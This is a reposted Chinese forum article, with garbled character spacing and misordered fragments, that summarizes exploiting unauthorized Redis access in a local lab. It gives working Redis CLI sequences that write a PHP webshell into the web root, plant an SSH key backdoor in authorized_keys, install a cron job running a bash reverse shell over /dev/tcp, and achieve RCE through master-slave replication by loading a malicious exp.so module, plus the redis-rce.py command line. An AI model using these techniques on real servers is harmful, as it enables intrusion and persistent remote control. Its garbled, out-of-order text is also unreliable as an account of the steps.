搜索

[1882] 2021-03-02_Redis未授权访问总结

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-16
2021-03-02_Redis未授权访问总结 ​ R e d i s 未 授 权 访 问 总 结 b 0 r i n g   D a y 1 安 全 团 队   2 0 2 1 - 0 3 - 0 2 N g i n x + P H P + R e d i s 环 境 搭 建 环 境 搭 建 于 a r c h ， 利 用 a u r 搭 建 的 所 以 比 较 方 便 ， 系 统 不 一 样 的 请 自 行 修 改 搭 建 步 骤 （ 也 不 难 ， 这 里 记 录 下 只 是 为 了 给 下 次 省 时 间 ， 其 实 主 要 还 是 改 配 置 文 件 费 时 间 ， 不 同 系 统 一 样 的 ） N g i n x 环 境 搭 建 ： 修 改 配 置 文 件 / e t c / n g i n x / n g i n x . c o n f 的 s e r v e r 部 分 为 ： 修 改 完 配 置 文 件 后 ， 启 动 n g i n x : p h p 环 境 搭 建 ： 修 改 p h p - f p m 配 置 文 件 / e t c / p h p / p h p - f p m . d / w w w . c o n f （ 不 同 p h p 版 本 该 配 置 文 件 不 同 ， 具 体 可 自 行 查 看 e t c 目 录 有 关 于 p h p 的 目 录 ， 大 概 是 这 个 形 式 的 路 径 ， p h p 那 里 可 能 是 p h p 7 . 0 之 类 的 ） ： [ 1 ] y a y   - S   n g i n x s e r v e r   {         l i s t e n   8 0 ;         s e r v e r _ n a m e   f o o . c o m ;         r o o t   / u s r / s h a r e / n g i n x / h t m l ;         i n d e x   i n d e x . h t m l   i n d e x . h t m   i n d e x . p h p ;         l o c a t i o n   /   {                 t r y _ f i l e s   $ u r i   $ u r i /   / i n d e x . p h p $ i s _ a r g s $ a r g s ;         }         l o c a t i o n   ~   . p h p $   {                 t r y _ f i l e s   $ u r i   = 4 0 4 ;                 i n c l u d e   f a s t c g i . c o n f ;                 f a s t c g i _ p a s s   1 2 7 . 0 . 0 . 1 : 9 0 0 1 ;         } } s y s t e m c t l   e n a b l e   n g i n x . s e r v i c e   - - n o w y a y   - S   p h p   p h p - f p m p m . s t a t u s _ l i s t e n   =   1 2 7 . 0 . 0 . 1 : 9 0 0 1   # 把 这 一 行 的 注 释 取 消 掉 ， 这 里 有 可 能 是 9 0 0 0 ， 那 就 把 这 改 成 9 0 0 1   或 者 把 上 面
修 改 完 配 置 文 件 后 ， 启 动 p h p - f p m r e d i s 环 境 搭 建 并 运 行 ： 写 入 w e b s h e l l 必 要 条 件 ： • 知 道 w e b 目 录 的 绝 对 路 径 • 拥 有 w e b 目 录 的 写 入 权 限 思 路 ： 获 取 所 有 键 值 对 ， 然 后 创 建 一 个 不 存 在 的 键 值 对 ， 再 通 过 修 改 配 置 文 件 ， 将 该 键 值 对 写 入 配 置 文 件 中 ： n g i n x 配 置 文 件 那 里 的 9 0 0 1 改 成 9 0 0 0 s y s t e m c t l   e n a b l e   p h p - f p m   - - n o w w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 6 . 0 . 8 . t a r . g z t a r   - x z f   r e d i s - 6 . 0 . 8 . t a r . g z c d   r e d i s - 6 . 0 . 8 m a k e c d   s r c . / r e d i s - s e r v e r 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   k e y s   *                 # 查 看 所 有 键 值 对 1 )   " m y l i s t " 2 )   " m y s e t " 3 )   " y o u s e t " 4 )   " u s e r : 0 0 1 " 5 )   " m y K e y " 6 )   " a g e " 7 )   " u s e r _ i d " 8 )   " m y n u m " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   g e t   d b f i l e n a m e           # 查 看 配 置 文 件 1 )   " d b f i l e n a m e " 2 )   " d u m p . r d b " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   g e t   d i r                           # 查 看 当 前 文 件 名 2 5 1 )   " d i r " 2 5 2 )   " / h o m e / b 0 r i n g / W o r k i n g S p a c e / t o o l s / w e b s e c u r i t y / v u l h u b / r e d i s / r e d i s - 6 . 0 . 8 / s r c " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   s e t   d i r   / u s r / s h a r e / n g i n x / h t m l                           # 设 置 当 前 目 录 为 w e b 目 录 O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   1 . p h p                                                 # 设 置 配 置 文 件 名 为 s h e l l 文 件 O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s e t   s h e l l   " n < ? p h p n     p h p i n f o ( ) ; n ? > n "                         # 创 建 s h e l l O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s a v e                                                                                         # 写 入 s h e l l O K
此 时 w e b 目 录 中 已 经 生 成 了 1 . p h p 文 件 ， 包 含 p h p 内 容 ： 访 问 s h e l l ： 写 入 s s h 公 钥 必 要 条 件 ： • 知 道 当 前 用 户 的 用 户 名
• 拥 有 . s s h 目 录 • 允 许 使 用 密 钥 登 录 步 骤 ： 然 后 就 直 接 用 私 钥 登 录 ： 写 计 划 任 务 反 弹 s h e l l 必 要 条 件 ： • 拥 有 计 划 任 务 写 权 限 服 务 器 上 监 听 8 0 0 0 端 口 ： 随 后 写 入 计 划 任 务 ： 主 从 R C E 必 要 条 件 ： • r e d i s 版 本 为   4 . x 或 5 . x （ 亲 测 6 . x 无 此 问 题 ） s s h - k e y g e n   - t   r s a 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   s e t   d i r   / h o m e / b 0 r i n g / . s s h 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   a u t h o r i z e d _ k e y s 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s e t   b a c k d o o r   " n s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B g Q D X y L o i 1 X D Q t U J N 2 i f Z f Z c R 0 p 3 O T 7 3 s 2 Z Z k O M q z S w c D G F Z n T M J u R 2 v H b k t V P W u Y S A x 0 C m O d m k g a V D j G s n + G 9 e 0 1 a e d R x c 2 l F B F M y A I 2 A g V / u k Y 5 q 2 k U 5 + x 7 k Z D 3 X 8 K E f J 0 + F s D N w t n R u r e Y C W k h 9 + Q u D 1 r l G D 7 I u D c A k z Z Y U m N R E n h 7 B z 4 O f 8 5 5 S F 5 p X d o t V m s N J 3 O 9 P F 9 4 G 0 z C M x C M d d F N W D 8 E b s h k 3 i w Z 9 x k 9 d 6 N n A 8 q O 1 8 Q M j o N Q B E o Q V q / e 1 m d K V m a X W 7 C j K U v a / a Z Q 7 k k 4 S j S G m v J E s I h 8 n b 2 6 4 r X 0 f g p I P l p H Z b n 5 h W h d x b T 3 q W w H p r z I 9 0 B l w a 6 j q N L J V 9 1 k D D D w E X y w q 8 R Z k z d k L d 8 G 6 R w u 8 5 5 u K T + h k S l 4 9 Z j j 8 v / X N N h b o A a O g G e 0 s f Y t b O m O d W 0 + F J L 5 k t v L t 9 1 / o F H O v g N H T M d H g o + A S M 8 j d s c k P o 1 n 4 Z o v N 2 Q H Q p o h f L F h S C 1 P X I p w R x f 5 D 1 O m 1 N A e Y / p P t N F w c D G P R Z U x 6 P n d R U Q r c G c = b 0 r i n g @ b 0 r i n g n " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s a v e s s h   - i   b a c k d o o r   b 0 r i n g @ 1 2 7 . 0 . 0 . 1 n c   - l v p   8 0 0 0 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   d i r   / v a r / s p o o l / c r o n / 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   b 0 r i n g 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s e t   b a c k d o o r   " n n S H E L L = / b i n / b a s h n n * / 1   *   *   *   *   b a s h   - i   > &   / d e v / t c p / i p / 8 0 0 0   0 > & 1 n n " 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s a v e 从 服 务 器 会 向 主 服 务 器 发 出 S Y N C 指 令 ， 当 主 服 务 器 接 到 此 命 令 后 ， 就 会 调 用 B G S A V E 指 令 来 创 建 一 个 子 进 程 专 门 进 行 数 据 持 久 化 工 作 ， 也 就 是 将 主 服 务 器 的 数 据 写 入 R D B 文 件 中 。 在 数 据 持 久 化 期 间 ， 主 服 务 器 将 执 行 的 写 指 令 都 缓 存 在 内 存 中 。 在 B G S A V E 指 令 执 行 完 成 后 ， 主 服 务 器 会 将 持 久 化 好 的 R D B 文 件 发 送 给 从 服 务 器 ， 从 服 务 器 接 到 此 文 件 后 会 将 其 存 储 到 磁 盘 上 ， 然 后 再 将 其 读 取 到 内 存 中 。 这 个 动 作 完 成 后 ， 主 服 务 器 会 将 这 段 时 间 缓 存 的 写 指 令 再 以 r e d i s 协 议 的 格 式 发 送 给 从 服 务 器 。
自 r e d i s   4 . x 版 本 后 ， 它 可 以 自 由 添 加 模 块 扩 展 ， 只 需 启 动 时 添 加 l o a d m o d u l e 选 项 ， 或 者 在 启 动 后 ， 可 以 r c e 的 版 本 可 从 下 面 链 接 编 译 ： 利 用 上 述 两 个 特 点 ， 可 以 使 用 主 从 同 步 和 修 改 配 置 文 件 存 放 位 置 ， 主 服 务 器 可 以 向 从 服 务 器 写 一 个 恶 意 的 s o 文 件 ， 添 加 到 r e d i s 中 从 而 r c e （ 6 . x 版 本 无 法 利 用 是 因 为 6 . x 版 本 r e d i s 在 加 载 模 块 时 会 校 验 模 块 是 否 具 有 执 行 权 限 ， 否 则 不 予 加 载 ） ， 利 用 脚 本 可 从 此 处 获 取 。 总 结 • 本 质 上 ， 其 实 这 些 未 授 权 访 问 都 是 先 修 改 r e d i s 目 录 和 缓 存 文 件 位 置 ， 然 后 再 保 存 缓 存 ， 从 而 通 过 向 特 定 目 录 进 行 任 意 写 操 作 来 获 取 r c e 权 限 • 一 切 写 操 作 都 是 覆 盖 的 ， 所 以 实 战 利 用 过 程 中 为 了 不 对 目 标 机 器 进 行 破 坏 ， 一 定 要 先 改 位 置 再 写 入 ， 然 后 再 改 回 去 • 除 了 主 从 复 制 ， 其 他 写 操 作 都 是 有 乱 码 的 ， 对 于 U b u n t u 环 境 ， 其 不 允 许 计 划 任 务 文 件 存 在 乱 码 ， 即 无 法 再 U b u n t u 中 使 用 计 划 任 务 r c e R e f e r e n c e s   w w w . c o n f （ 不 同 p h p 版 本 该 配 置 文 件 不 同 ， 具 体 可 自 行 查 看 e t c 目 录 有 关 于 p h p 的 目 录 ， 大 概 是 这 个 形 式 的 路 径 ， p h p 那 里 可 能 是 p h p 7 . 0 之 类 的 ） ： :   h t t p : / / w w w . c o n f （ 不 同 p h p 版 本 该 配 置 文 件 不 同 ， 具 体 可 自 行 查 看 e t c 目 录 有 关 于 p h p 的 目 录 ， 大 概 是 这 个 形 式 的 路 径 ， p h p 那 里 可 能 是 p h p 7 . 0 之 类 的 ） ： 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   M O D U L E   L O A D   / h o m e / b 0 r i n g / W o r k i n g S p a c e / t o o l s / w e b s e c u r i t y / v u l h u b / r e d i s / r e d i s - r c e / e x p . s o O K 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   M O D U L E   l i s t 1 )   1 )   " n a m e "       2 )   " s y s t e m "       3 )   " v e r "       4 )   ( i n t e g e r )   1 1 2 7 . 0 . 0 . 1 : 6 3 7 9 >   s y s t e m . e x e c   w h o a m i " b 0 r i n g n " p y t h o n   r e d i s - r c e . p y   - L   1 2 7 . 0 . 0 . 1   - r   1 2 7 . 0 . 0 . 1   - f   e x p . s o
欢 迎 扫 码 关 注
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理